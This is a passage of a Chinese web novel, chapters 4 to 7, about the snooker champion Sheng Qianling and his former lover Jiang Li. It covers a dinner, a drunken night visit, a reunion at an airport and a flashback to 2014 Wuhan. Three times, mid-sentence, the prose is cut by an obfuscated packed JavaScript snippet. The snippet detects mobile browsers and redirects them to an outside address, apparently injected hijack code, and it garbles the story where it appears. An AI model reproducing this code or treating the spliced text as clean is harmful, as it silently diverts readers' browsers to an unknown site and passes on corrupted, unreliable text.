一楼右边那间有两扇黄铜色带对称镂花的大门,左边一间是房间,窗户外装了一层防盗网。 房前有一片很大的稻场,用水泥修得十分平整。 左邻右舍的院子里都种着一些花花草草,只有江里这儿光秃秃的。 太阳已经落下,但天并没全黑。世界呈现一片温情的青黛。 盛千陵一步步往里走。 他打量着这栋房子的内饰。并不高档精致,东西也不多,堂屋中间摆着一张桌子,上面放着一些零碎的日用品。 “江里?”盛千陵喊。 江里刚从柜子里的糖果罐中抓了几颗塞进裤兜,然后慢慢悠悠从房间走出来。 隔着门框,他看到换了身衣服的盛千陵。 盛千陵穿着一件白色长袖衬衫,扣子开了两颗,露出了性感的喉结和一小段锁骨。下搭一条黑色的休闲裤,长及脚裸,露出一截脚脖子。衬衣下摆宽松地塞进长裤里,黑白分明,完美突显着他优越的九头身身材。 因为脱了严肃正经的赛服,换了自己舒适的搭配,更令他褪去了几分严肃,多了一些属于二十几岁男人的活力。 江里木着一张脸,面无表情地拒绝:“我不想去。” 盛千陵走过来,站在江里面前,压低声音哄劝:“卓哥非要我把你带上。” 意思是,如果江里不去,盛千陵无法向卓云峰交待。 江里挑眉,淡道:“他的饭局我也不是第一次拒绝,他早习惯了。” 盛千陵愣了一下,继而联想到什么,又往前一步,诚恳道:“如果是因为太挑食,和人聚餐不自在,我可以帮你点菜。” 江里挑食,挑得惊天动地鬼神沉默。 盛千陵自然是知晓的。 可江里还是没有松口。 下午在云峰俱乐部碰上,和盛千陵打一场球,已经是不可控的意外情况。 球既已打完,就没有必要再见面、再拉扯。 盛千陵轻轻叹了一口气,微微低着头,目光直视江里的眼睛,慢慢说:“就算和我分手了,也是旧情人,不至于连吃顿饭的情分都没有,是不是?” 江里一惊,不动声色退后一步,跟盛千陵站远一些。 盛千陵只觉得自己要溺死在江里的眼睛里,率先败下阵,挪开眼睛。 目光一扫,只见天花板上贴着一个什么小玩意儿,还没来得及细看,江里已经在推他,嘴里还说:“走吧走吧,去吃饭吧。” 说完快速把盛千陵往外推。 盛千陵没说什么,迈步出去了。 他走到院外的车前,绅士地拉开后座的门,等江里上车。 江里随手把大门带上,却没上锁。他慢吞吞走到车旁,弯腰坐了进去。刚刚坐稳,见盛千陵也俯身,打算和他同坐后排。 刻意让他去坐前排反而显得矫情,江里默不作声往里挪了挪,和盛千陵拉开一个银河那么宽的距离。 车子行驶在柏油马路上。 天渐渐黯淡,江边这一排民房从后视镜里飞掠,变成一个个虚幻的影子。 江里不说话,盛千陵也没开口。 一时安安静静,犹如在梦中。 路途逐渐又变得繁华。不多时,车子已经停到了九阳大酒店门口。 江里懒洋洋下车,双手抄在运动裤裤兜里。回望盛千陵一眼,见他正礼貌地同送他们过来的司机道谢。 江里没等他,撕了颗甜橙味棒棒糖含在嘴里,痞里痞气往上走。 盛千陵很快跟过来,注意到江里又在吃糖,眸光颤了颤,终于说:“糖不是早就戒掉了么。” 江里像看一个陌生人一样看他,满不在乎地答:“也没吧。” 讲得漫不经心,仿佛只是在谈论天气那样随意。 盛千陵低头看向酒店的台阶,虚空中捏了捏手指。 卓云峰就在大厅里等着,见二人过来,扯着半脸胡子在那儿笑得友好。他说:“哎千陵小江,你们到了,这边走这边走。” 江里散漫地跟着走,走了十几米,进了一个装潢高档的包间。 包间里有张大圆桌,桌边已经坐了五六个人,正抽着烟聊天。见盛千陵进来,他们一同站起来,笑意吟吟喊:“哎,盛老师!” 盛千陵摆摆手,答:“叫我千陵就行。” 一点都没有架子,好像只是个邻家男孩,并不是什么斯诺克球星。 江里自己找了个位置坐下,是靠近门边的下手位置。 他和这几个会员早就十分熟悉,吃个饭而已,不需要那些虚以逶迤的表面寒暄。 盛千陵被卓云峰安排去了主位,而卓云峰作为东家,顺势就坐在了盛千陵右手边。一张桌子八个位置,这么一坐,正好坐满。 卓云峰把一本菜谱递给盛千陵,说:“千陵,你来点菜吧?” 盛千陵平时不重口腹之欲,但眼下却丝毫没有谦让。 他接过菜谱,草草翻几下,抬眉问道:“三月份,藕带上市了么。” 江里听到“藕带”两个字,目光顿时一跳,又默默垂下眼。 卓云峰很快接话:“千陵吃过这边的特产藕带啊,可惜不巧,最早得下个月吧,才能吃上。” 盛千陵点点头,没再看菜谱,很快报出几个菜名:“腊鸭焖藕,公安鱼杂,清炒菜薹,其它的你们来吧。” 说完将菜谱递出去。 江里听完这三道菜名,依然没有给出什么反应,只是伸手给自己倒了杯水。 卓云峰接过菜谱,顺手递给旁边的人,说:“老徐,你来。” 老徐正是那位拿到1号台试杆权且欲争夺“江陵第一臀”的人。 江里慢悠悠喝着水,看一眼老徐,想到他的翘臀,不自觉地挪了挪屁股,心里发出一声冷哼。 一桌菜很快被点好。 从头到尾,没有人问过江里的意见。 直到服务员拿走菜谱,盛千陵好奇地问:“不让江里看看吗?” 卓云峰一脸江湖气,爽朗地答:“嗨,小江啊,他虽然很少跟我们吃饭,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875178|176273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所有人都知道,他是个完全不挑食的人,点啥他吃啥,也没有什么特别喜欢的,什么都不忌口,你要问他啊,他八成就是那两个字——” 另外两个会员仿佛心有灵犀,趁着卓云峰断句时,异口同声回答:“——随便!” 说得一群人哈哈大笑,恨不得为这坚固的、跨越年龄的友谊干杯。 只有盛千陵蹙了蹙眉。 有一瞬间,他产生了深深的自我怀疑。 仿佛自己并没有在江里的十七八岁里出现过。 而眼前这个人,也从不曾是他的里里。 既然提到了江里,卓云峰很快想起来,转头问盛千陵:“千陵,小江白天说和你打过球的,是吧?” 在台球圈子里,说谁和谁打过球,只能算是点头之交,并不能称为关系亲密。 所以卓云峰没往深了想,但又觉得这是个同盛千陵开启聊天的好话题,继续说:“小江很厉害啊,就我们这些人,除了你,没人打得过他。” 盛千陵点点头,赞扬道:“他是打得不错。” 卓云峰其实没有亲眼见过盛千陵,能邀请到他来开业捧场,也是因为盛千陵的教练承过他妻子一些恩情。 不然,以盛千陵的地位和身价,根本不可能出席这种类型的开业活动。 所以眼下见盛千陵对江里有兴趣,卓云峰只管把话题往这儿引:“小江这准度,千陵你今天也看到了,那叫一个嚣张霸气。就这种狂野球手,竟然没有师父教过,你说他是不是天生牛逼。” 江里心中一怵,很快抬头看盛千陵的脸。 果然,下一秒,盛千陵也看向他,缓慢地开口复述:“没有师父么。” 江里:“……” 他就不该来。 好在服务生进来给大家倒茶递水,稍微缓解了江里的尴尬。 几个会员第一次见到职业斯诺克大师,拉着盛千陵问了不少职业赛的事儿,又提起早些年在球坛叱咤风云的那些斯诺克明星的奇闻轶事,席间氛围一片热烈。 江里一直没怎么开口,来回吮着糖,一直朝说话的人看着,以示他也参与了谈话。 话题轮了一圈,卓云峰又开口了:“千陵,世锦赛的资格赛快开始了,你打算过去么。” 盛千陵回答的话已经来到了嘴边,转了个弯,却说:“比赛打得太多,想休息一段时间。” 卓云峰没作他想,点了点头。 哪知盛千陵又说:“卓哥,我一训练就不带手机,咱俩要不把微信加上,免得你像之前一样,好几天才打通我电话。” 江里莫名又有了那种不对劲的感觉。 而卓云峰正是求之不得,飞快掏出手机扫码,点了好友添加申请。 盛千陵却没收手机,还是一副淡然的样子看向江里。 他貌似是随口一说:“我可能还会在这儿待几天,要不也加个微信,有机会再切磋切磋?” 江里:“……” 这狗东西果然是在玩他! 当年分手之后,江里删掉了盛千陵所有的联系方式,微信也是直接删除而不是拉黑。 最开始的两三年,他还能记得盛千陵用过的手机号和微信号,日子一长,他又刻意想要遗忘,竟也真的忘记了。 江里没有办法当着这一群人拒绝盛千陵,更不可能透出一点儿和他曾经的关系。 只好拿出手机,胡乱一扫,就准备蒙混过关。 盛千陵却不依,平淡无波地说:“咦,只有卓哥一个人的好友申请。” 江里:“……” 最终还是如盛千陵所愿,加上了他的微信。 江里没敢细看盛千陵的头像和朋友圈,加上就锁屏,打算把手机塞回裤兜。 这时却来了一条新的微信消息,屏幕自动亮起来。 江里扫一眼,看到这条消息来自于盛千陵—— L:【里里啊,里里。】 5. 第005章 五个字。 两声名字,一个语气助词。 并没有什么特别的内容,却看得江里心中猛烈颤抖。仿佛无端从这几个字里,品读到了千言万语,与难以言尽的痛楚。 江里甚至觉得,盛千陵在打出这五个字时,应该是在哭的。 凌乱间抬头,仓皇朝他望去,只见盛千陵已经平静地收了手机,正默默侧耳倾听旁人说话。 江里收回目光,用力把嘴里所剩不多的糖球咬碎,抽了张纸巾擦净糖棍上的水渍。 又将糖棍和手机一起塞回兜里,没有回复盛千陵的消息。 点的菜陆续被端上桌。 腊鸭焖藕和公安鱼杂做得色泽纯正香味扑鼻,清炒菜薹紫白相间新鲜水嫩。江里抬眸看一眼,没有伸筷子。 卓云峰起身给大家一一倒酒。 盛千陵用手盖了盖杯口,歉意地笑笑,表示自己不饮酒。 卓云峰猜测这是职业选手的自我要求,没有客套,给他倒了杯饮料。 这几个会员在一起玩的时间挺长了,卓云峰知道他们的喜好,于是很快给他们倒好白酒,又给江里倒了一杯啤酒。 江里从兜里摸出一颗新的棒棒糖,撕了糖纸,将糖扔进玻璃酒杯里,发出一声脆响。 啤酒中的泡泡升腾,那颗橘红色的糖被淡黄的酒一泡,愈发显得诱人。 卓云峰讲了几句场面话,感谢大家的捧场,又带头干了一杯白酒,气氛登时更加热烈起来。 成年男人在一起聚餐,又被酒精一刺激,免不了要插科打诨吹吹牛皮。 多是在吹嘘自己斯诺克球史上最辉煌的一杆,因讲到一半发现职业球手在场仿佛踢到了铁板,又生硬地转移了话题。 聊着聊着,话题不知道怎么引到了江里身上,姓徐的会员说着道听途说来的消息:“小江,哎,那个……有个女孩,我听说都,跟了你两年多了,你们……什么时候结婚啊?” 话音刚落,江里立即感受到从盛千陵那边递来的厚重目光。 好像春雷乍起,前一秒还万里无云,这一秒已然电闪雷鸣暴雨倾盆。 江里喝了几杯啤酒,不至于喝醉。 他本想认真解释一下姚婷结婚多年小孩都已经上了幼儿园,她本人也只是在自己店里打工,但瞥见盛千陵这神色,感觉一言两语说不清楚,只说:“没有的事。” 含含糊糊,不清不楚。 不知道是没有结婚的事,还是没有女孩跟着他。 其余人并没有感觉到盛千陵与江里之间的风起云涌。 只是盛千陵突然对卓云峰说:“你们喝的,是这边的稻花香酒?闻起来不错,给我倒一杯试试吧。” 江里:“……” 话题就这么被带了过去。 盛千陵就那么安安静静坐着,间或吃几口菜,然后来者不拒地同人碰杯,但不再加入谈话。 他看起来清清冷冷,好像被一层风雪覆盖,周身都散发着寒气。 连卓云峰都感觉到了他渐低的气场,以为他是舟车劳顿又打了几场球疲惫不堪,急着回去休息,也就没再拉着会员们东侃西扯,快速结束饭局,然后叫车过来送盛千陵去酒店。 江里从头到尾都没怎么说话。 他吃得不多,酒灌了几瓶,意识还算清醒。 见到其他人要么找代驾,要么等司机过来,他抓了一把卓云峰的手臂,说:“卓哥,我自己坐个三蹦子回去了。” 卓云峰的全部心思都在盛千陵身上,没太注意江里的情绪,闻言也只是点头说好。 于是江里冲余下的六人挥一次手,挥完就走,就当统一打了招呼。 江里在街边搭了个晚上还在偷偷运营的小三轮儿,报了地址,然后闭上眼睛。 今晚这聚餐,前后不过一个多小时,却让他觉得像一年那么长。 所幸三轮开得还挺快,没花多少时间,江里就到了家。 他付了钱,从院子走进去。路灯将他的身影拉成一条极长的影子,那影子像蛰伏于夜晚与他形影不离的鬼魅。 大门没关,江里也懒得管。他直接走进房间,换上拖鞋,又从柜子里拿出一件黑色T恤、一条内裤和一条沙滩裤,到浴室去洗澡。 今天一天,过得如梦似幻。 好像见到了盛千陵,又好像深陷在连绵不绝的梦境里。 是不是梦啊,江里想。 如果是梦,那盛千陵怎么没有拍他的屁股,没说里里的臀部最圆最挺最好看? 从浴室出来,江里关掉了堂屋的灯。 正准备去关大门时,却听到外面院子里传来汽车摔门声,紧接着,响起笃笃的脚步声。 是皮鞋踩在水泥地面的声音。 江里有些好奇,睁着迷蒙的眼睛往大门走几步,想去看看情况。刚走到门边,却见一道高大修长的影子快速朝他覆过来。 来不及反应,来不及出声,江里被那人一推,重重地被按到了墙上。 可即便被如此粗暴地对待,那人却还垫了一只手在江里的后脑勺,隔在他的头与白色墙壁之间。 江里一颗心揪着,好像被人用力从左心室里一扯,那心脏像要脱离所有血管破膛而出。 他窒息又疼痛,抬眼去看面前高了他一截的人。 盛千陵浑身酒气,一张脸已经近在咫尺,四目相对,只隔几厘米。 这时,盛千陵哑着嗓子开口:“里里,谁跟你了两年?你有女人了?” 两个人实在隔得太近,是微微一动,就能亲上的距离。 因为盛千陵伸着手,江里就像被他环在怀里,却没有推开。 盛千陵脸上的酒气与热气尽数扑向江里。 借着卧室的灯光,江里能看到盛千陵那双在黑夜里闪烁的眼睛。 他还是晚上那身衣服,白衬衣配黑长裤。 可白衬衣不再熨帖,黑长裤多了褶皱。许是回了酒店后,趁卓云峰离开才匆忙打车过来的。 江里感觉今晚的酒后劲有些足了,不然眼前这场景,为何如此逼真。 做梦都没有的触感,眼下却全有了。 江里发了许久呆,盛千陵终于不耐烦,压着火又逼近一点儿,几近失控地说:“江里!回答我!” 江里这才反应过来,脑子从混沌中渐渐走出。 他胸腔起伏,贪婪地感受着盛千陵的温度,不肯挪开看他的目光,却依然老老实实地说:“我没有女人。” 盛千陵按着江里肩膀的手轻微一松,但又低沉地追问:“那男人呢?” 江里说:“也没有男人。” 盛千陵仿佛满意了。 可他还这么压着江里,膝盖抵在江里腿上,保持着这个危险的距离。 眼对眼,唇对唇,没有挪开。 黑夜像魔鬼一样在江里耳边鼓躁,让他神智不清。 江里感觉盛千陵再不放开,他可能会和梦里一样,起一些丢脸的反应。 想了想,决定采用迂回战术:“盛千陵,我好冷。” 春天日夜温差大,白天短袖穿得出去,夜晚就扛不住冻。 江里看到盛千陵顿了一下,慢慢松开他,然后抬步往开着灯的房间走。 江里突然想到什么,惊慌失措去拉盛千陵的手臂,说:“你不要进来,我要换衣服!” 盛千陵那点儿酒后疯劲在刚才强压住江里时已耗尽,此刻竟缓慢地停下脚步,认真思考江里换衣服,他要不要退出去。 想到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875179|176273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一半,他抬起迷茫的眼神,问:“里里,你全身上下我都看过了,为什么换衣服要让我出去。” 十足的不解,十足的委屈。 江里这时几乎已经肯定盛千陵喝醉了酒。 他从少年时期起就滴酒不沾,又因长年训练需要保持清醒,从不曾碰过酒精。 今日破戒喝醉,也只是因为听人说江里有了女人。 江里心里顿时酸软得一踏糊涂。 他不明白盛千陵这么好的人,为什么会一而再再而三被自己伤害。遇见一回还不够,还要在这中部省份腹地重逢一次。 对待一个醉鬼,倒不必那样防备。 江里稍微松口气,用双手捂住自己的胸,好挡住身上这件黑色T恤胸前的花纹。 盛千陵却眼尖地看见了,脑子转了好几圈后才问:“里里,这是不是……我以前穿过的衣服?” 江里迅速背过身去,从柜子里拖了件白色的短袖来,双手抓住黑色T恤的衣摆,往上一扯,很快换掉了上衣。 盛千陵站在门边,目不转睛注视着江里瘦薄的背部,还有那极窄的腰身。 时隔六年,他都还记得那里的触感。 江里怕痒,却又总是故意把球打偏,让他去拍他的臀,去掐他的腰,然后从后面抱着他,靠着斯诺克球台相互撞击表达爱意。 江里把衣服换好,总算冷静了一些。 他回头看到盛千陵还傻傻地站着,脸上顶着两团因酒精带来的酡红,有点于心不忍,想赶他走,又舍不得,只好说:“你先坐吧。” 于是盛千陵乖乖坐下来。 江里爬到床上,拉过被子把自己盖上,看一眼坐在衣柜旁的男人,问:“你不回酒店睡觉?” 盛千陵不答反问:“他们说的那个人是谁?” 没头没尾,江里却很快反应过来了。 他珍惜与盛千陵说话的机会,又指望盛千陵宿醉后能忘光这一晚的事情,所以并不像白天那样拒他于千里之外。 江里说:“我开了个男装店,那个人是我店里的员工,在我这儿工作了两年多。” “哦。”盛千陵睫毛轻颤,努力理解江里的话。 可还没能理解透彻,他又提问:“为什么又开始吃糖?牙疼还犯过吗?为什么不吃我给你点的菜?为什么不挑食了?为什么不喝白酒了?为什么要把糖放进啤酒里?为什么又开始打野球?为什么说没有师父?为什么不用我教你的杆法了?” 盛千陵像一本十万个为什么,一口气提了无数个问题,都给江里听笑了。 江里摆了个舒服的靠床姿势,借着白炽灯的光线盯着盛千陵,笑道:“哪有人一下子问这么多问题的。不行,你只能问一个。” 江里并不是在和醉鬼讲道理,可醉鬼的思维反应慢,只能循着对方的话努力思索。 想了片刻,好像确定了自己想问什么,于是又抬起令人无法忽视的那张俊脸,无比认真地问:“为什么要扎苹果头,是不是要勾引我?” 江里:“……” 当年在武汉那间球房里,江里有次懒得去剪头发,可头发太长遮住了瞄点视线,就找收银员要了根皮筋,把额上的头发竖着扎了起来。 当时扎完,江里问盛千陵:“你看我像不像一颗大苹果?” 盛千陵面无表情看他一眼,冷静自持地回答:“我看你像在勾引我。” 此时此刻,江里深深忏悔不应该在云峰俱乐部里绑苹果头。 他第一次知道了什么是引火烧身,烧得被子都快盖不住了。 偏偏醉鬼还没有自知之明,站起身朝他走过来,边走边笃定地说:“里里,不用勾引。你想要,我就给。” “……” 疯了。 6. 第006章 在盛千陵就快走到床边时,江里迅速伸出双臂阻止他。 江里说:“盛千陵,你你你你就坐那儿,不要过来!” 盛千陵果然驻足,脸上浮现出疑惑的神色。 他轻轻拧着眉头,目光飘忽两秒像在思索什么,然后慢慢地说:“里里,我是不是,又惹你生气了?你怎么,又叫我全名。” 江里:“……” 他算是渐渐清楚了盛千陵的状态。 分明就是酒后记忆混乱,以为时光回溯到了六年前。 江里认命地叹一口气,说:“陵哥,你就坐那儿。” 盛千陵这才点头,退开几步,答:“好。” 盛千陵乖巧地端坐于木椅子上,两手铺平,垂放在大腿上,背挺得笔直,像一个刚入学的幼儿园新生,与世锦赛直播里那个拿着球杆运筹帷幄披荆斩棘的冷峻男人截然不同。 江里没见过盛千陵喝酒,觉得他这种反差还挺有意思,随口问:“陵哥,这是第一次喝酒么?” 盛千陵白净的脸上又涌上思索的神色,薄唇微张,缓慢吐字:“是、是第二次。” 江里又问:“第一次是什么时候?拿温布利冠军的时候?” 盛千陵就像一个没有自主思维的机器人,只能随着他人的意识作答:“不是。” “那是什么时候?” “里里说不要我的那天。” “……” 往事像被野兽尖牙咬伤的皮肉,在此时终于被生硬揭开,露出血腥与斑驳的腐朽。 江里手心发凉,心里灼烧着的那股内火很快平息下去,就连那点儿身体的反应也渐渐偃旗息鼓。 他知道自己回不了头,更清楚自己趁人喝醉故意将人留下聊天,只是为了满足那见不得光的私欲罢了。 做什么都不应该。多问一句都是错的。 他不能够,也不可以。 江里掀开被子跳下床,顺手捞了一件外套穿上。他走向盛千陵,低着头,轻轻说:“陵哥,走吧,我送你回酒店。” 盛千陵想要的答案已得到,心中的弦早已松开,自然是江里说什么就听什么。 江里带他走到门口,拦了一辆夜间行驶的的士,将他塞了进去,然后自己坐在他旁边。 幸好盛千陵还记得酒店名字与房号,江里送他进门时,还算一路畅通。 仿佛预感到江里要走,盛千陵坐在床边,浓眉又微蹙起来,看着江里说:“里里,不要走。” 江里哪能不走呢,却只能先哄骗他:“陵哥,你先睡觉。睡醒了,就能看到我了。” 盛千陵好像消化了一下江里的话,乖乖脱掉鞋子和衣而睡。 几分钟后,江里听到盛千陵绵长的呼吸声,才慢慢走出房门,轻手轻脚离开了。 盛千陵醒来后,自然没能见到江里。 不仅如此,在接下来的三天,江里又消失得不见人影。 江里倒也不是故意躲着盛千陵。 他原本就定了当天去汉口北进货的车票,只是因为某些剪不断理还乱的思绪,就把动车票改签到了早上第一班。 所以天没亮他就从江陵出发去荆州站,很快便坐上了去汉口站的车。 哪知道下车时走得急,没注意到手机从宽松的裤兜里掉出来,遗落在了座位上。 等到后来发现手机丢失时,那列动车刚好已经出发,一路向西开去。 江里没有办法,只好求助于车站工作人员。 所幸很快联系上了乘务员,而且找到了他那支手机。 两边沟通许久,江里拒绝了乘务员说将手机放到荆州站的提议,表示会在汉口等着这列动车返程。 于是,又过两天,江里才拿回手机。 而他就趁这两天时间里,跑遍了汉口北,仔细挑选了今年的夏季男装样衣,又订好了货,叫卖家直接发货到江陵去。 江里拿到自己的手机,才发现手机已经关机了。 他就近找了一家麦当劳,买了一个汉堡啃着,又在火车站里借了个充电宝。 充上电后,手机缓缓开机。 他不知道自己在期待什么,却又害怕真的看到什么。 可是,当盛千陵的消息出现在手机上时,他的心还是惊悸得停滞了呼吸。 三天时间,二百七十三个未接电话,一百三十四条来电提醒短信,还有五百二十九条微信消息。 有那么一个瞬间,江里觉得自己真是一个混蛋。 混蛋咬着汉堡,哆嗦着,打开了盛千陵的微信对话框,并点击了一下右上角的“529条新消息”,于是页面自动跳到了盛千陵发的第一条新消息,就在那句“里里啊,里里”后面。 然后混蛋开始慢慢看。 前面几条都还挺正常,无非是用试探的语气,问江里去不去云峰俱乐部打球。 看起来全然忘记了那一晚自己喝醉酒发酒疯的事。 到了下午,语气变得略显焦急。盛千陵可能一直在控制着自己的发消息间距,总是隔一两个小时才增补一两句。 例如他说听卓哥说江里有个服装店,问是不是很忙,所以没时间打球。 到了第二天,盛千陵好像感受到了江里的冷淡。 他的语气变得明显悲观起来。 他说:“里里,为什么要躲着我?你不回我,我就去你家找你了。” 又过许久许久,他才又发来消息:“为什么也不在家呢。江里,你要躲我到什么时候?” 再往后,就是拜托江里回复消息,只要江里回复,他就可以不在意之前被无视那么久。 到第三天的时候,盛千陵仿佛终于接受了江里又一次凭空消失的事情。 也是这一天,信息高达四百多条,断断续续,没有顺序,想到哪儿讲到哪里。 有时候在回忆他们当年初遇的情形,也说到了他当时是怎么一杆一杆为野路子球手示范学院派打法。 讲到最后终于忍不住示爱。 他说:“里里,我想你。求你回复我,好不好?” 又说:“里里,就算你玩腻了我,在这个小县城又遇上,也是缘分,是不是?回复我,和我打球吧,好不好?我保证以后不会纠缠你。” 姿态卑微得压根儿不像一位斯诺克职业比赛冠军。 江里手中那汉堡怎么也吃不完。 吃着吃着,便觉得这麦当劳怎么回事,做的汉堡怎么越吃越咸越来越咸。一气之下就想去食品安全部门投诉麦当劳,让他们长长教训。 不过眼下消息还没看完,投诉的事还是先缓一步。 再往下看,消息便简短了很多。 有一百多条,几乎都是相同的三个字——“对不起”。 盛千陵并没有做错什么,反而当年他才是被抛弃那一个,却还是忍气吞声,重复地对江里道歉。 江里生气地把那咸汉堡一扔,从裤兜里摸出一颗徐福记棒棒糖,快速撕开糖纸塞进嘴里,稍微缓解了一下口腔里那股奇怪的味道。 他滑了滑微信消息,最终翻到了最后。 最后一条消息是这样这样写的:“江里,对不起,很抱歉给你造成了困扰。以后不会了。我订了晚上八点回北京的机票,以后不会再过来,也不会再打扰你。再见。” 江里就坐在那儿,用力咬着糖,在下意识的情况下,手心颤抖着点开了盛千陵的头像。 是一只在小区里撒欢的狗。 当年,江里曾在盛千陵面前这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875180|176273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样示弱。 他说:“我好像一只无家可归的流浪狗啊。” 盛千陵当时是怎么回答的呢。 他说:“没关系,我正好想养一只小狗。” 麦当劳外一个扎着羊角辫的小女孩经过,注意到玻璃门里高脚椅上的江里,拉一拉妈妈的手,好奇地问:“妈妈,那个哥哥怎么哭得那么伤心啊?他是不是和我一样,弄丢了最爱的芭比娃娃?” 小女孩的妈妈心虚地把小女孩一拉,大步走开,边走边讲:“嘘,小声点儿。你的芭比娃娃不是又找到了吗?” 可是他的却找不到了。 江里想。 盛千陵八点从沙市机场回北京,那最迟七点半会通过安检。 可江里还在汉口动车站,现在是下午四点半,如果能买到五点半前往荆州站的票,一个半小时动车到站,半小时转车到沙市机场,也刚好是七点半。 赶不上的。江里对自己说。 别去了,忍一忍,就不难过了。江里又说。 可当江里抬头时,才发现自己不知何时还了充电宝,此刻已经飞奔到了汉口站的二楼侯车室,焦急地等待着五点半那一班从重庆北来开的列车。 七点半,他准点回到了荆州,到达了沙市机场。 这个机场不算很大,人也不多。 江里一下的士,几乎是用百米冲刺的速度往大厅里冲。他的头发往后飞扬,苍白的脸上满是焦急与不安。中间不小心撞到几个路人,匆忙说完“对不起”,又开始奔向安检口。 安检口也不大,有几名旅客正在接受检查。 江里跑得气喘吁吁,双手撑在膝盖上大口喘气,眼睛盯着那些即将过安检和已经过了安检的人。 眼看时间一分一秒过去,依然没见到盛千陵的影子,江里忽然灵光一闪,想起一件很重要的事情。 像盛千陵这样的名人、球星,怎么会和普通人一起坐在普通的候车厅呢。 他一定是在某个VIP休息室里,只等时间一到,就直接过安检登机。 江里又转身,飞快往贵宾候机室方向跑。 他来过这个机场很多很多回,已经完全摸熟了这里的布局。 边跑时边看一眼时间,七点四十五分了。 可这个点,即使是商务舱乘客,恐怕都已经登机了。 江里心中的悔恨与痛苦猛烈袭来。 他不知道在悔恨和痛苦什么,他只知道,此时此刻,他的心和贵宾休息室一样。 空了。 他就那么看着空荡荡的休息室。 里边还摆放着柔软的沙发和各种精致可口的点心。沙发上的褶皱还没有自动恢复,仿佛先前坐在这里的人,离开得并不久。 沙发边还有一面镜子。江里抬起茫然空洞的眸子朝那镜子看一眼,却没有了往日那样自恋的勇气。 却只说:“江里,你好狼狈啊,真像一只流浪狗。” 又过了好久好久,江里终于抬起沉钝得像灌了铅的双腿,慢慢转了身。 一回过头,却见一个身材颀长的男人,就静静地立于他附近不足五米的地方。 那人穿着一件洁白的衬衫,搭一条裁剪得体的黑色西裤,皮鞋擦得锃亮,整个人看起来气质卓绝,宛如雪山上的青松。 那人迈开步子,一步一步,朝江里走过来。 江里愣着没说话,眼睁睁看着那人伸出了手臂。 下一秒,他被那人搂进了怀里。 隔着两层布料相拥,江里几近冰冷的身体终于慢慢有了温度。 他疲倦颓废地质问:“盛千陵,你到底想干什么啊?” 盛千陵却像用尽力气,慢慢地说:“里里,再喜欢我一次,好不好?” 7. 第007章 2014年。 汉正街还没完全拆迁改造,武胜路的人信汇正在筹建中。 地铁6号线还没动工,汉江边的江山如画还没有涨到一平四万。 那时候的武汉还被调侃成全国最大的农村,那时候的公交车司机还没有被限速,把车开得像F1满城飞驰。 江里穿着件松松垮垮的蓝白色校服,单手抄在运动裤裤兜里,叼着根棒棒糖慢慢悠悠走出二十九中。 身侧斜挂着书包,书包里装着刚发的考了十八分的数学试卷。 少年个子高,净身高一八零。背很挺,走路姿势闲散。发色偏浅,蓬松柔软,堪堪遮住眉毛。 好看得清清爽爽,又透着一丝痞气。 两个男生疯跑过来,围在江里身侧,其中一人笑道:“里哥,晚上去不去撸啊撸?” DOTA和LOL在学生中很流行,可惜未成年的学生只能去黑网吧联机游戏。 江里像夹烟一样,用两根手指取出嘴里的甜橙味棒棒糖,斜着眼睛看同桌陈树木一眼,含糊道:“撸你大爷。” 陈树木没个正形,神秘兮兮凑过来,坏笑道:“里哥,这都同了两年学,我怎么没发现你对男人有兴趣呢?还是老男人。” 江里抬起讥讽的眉眼,吊儿郎当地说:“就怕你大爷人老色衰活不好,不能满足我。” 见陈树木瞠目,江里冷哼一声,重新含着糖,长腿一迈,大步走了。 他家离学校不远,就在汉正街附近一条叫集贤路的小巷子里。 这儿一片全是老破小,占着汉江边上的黄金位置,却迟迟没有拆迁。 老破小正对面就是高大气派的凯德广场,广场外的巨幅LED电子屏上展示着各种奢侈品牌的广告,看着高端大气上档次,和灰头土脸的老破小有着天壤之别。 江里回到家,把书包一扔,又麻利地脱掉了校服外套。 这套房子老且旧,只有一室一厅。江海军睡房间,江里就长年睡在客厅中一张一米宽的折叠床上。 屋里还用着70瓦的白炽灯泡,电线歪歪扭扭贴在掉着石灰渣子的墙壁上。 只要外面还有天光透进来,江家父子两个几乎不会开灯。 反正江里也不会写作业。 他数学这回考了十八分,好歹比上回还高了三分呢。 进步这么大,还写什么作业。 屋里没有人,江海军还在外头工作。 江里拉开客厅小桌子的抽屉,看到江海军给他留了十块钱。 他把钱往裤兜里一塞,踩着楼梯跑下去,在隔壁买了碗热干面。热干面三块五一碗,他奢侈地加了块干子,共四块钱。 还剩下六块,直接到隔壁的隔壁买了十二颗甜橙味棒棒糖。 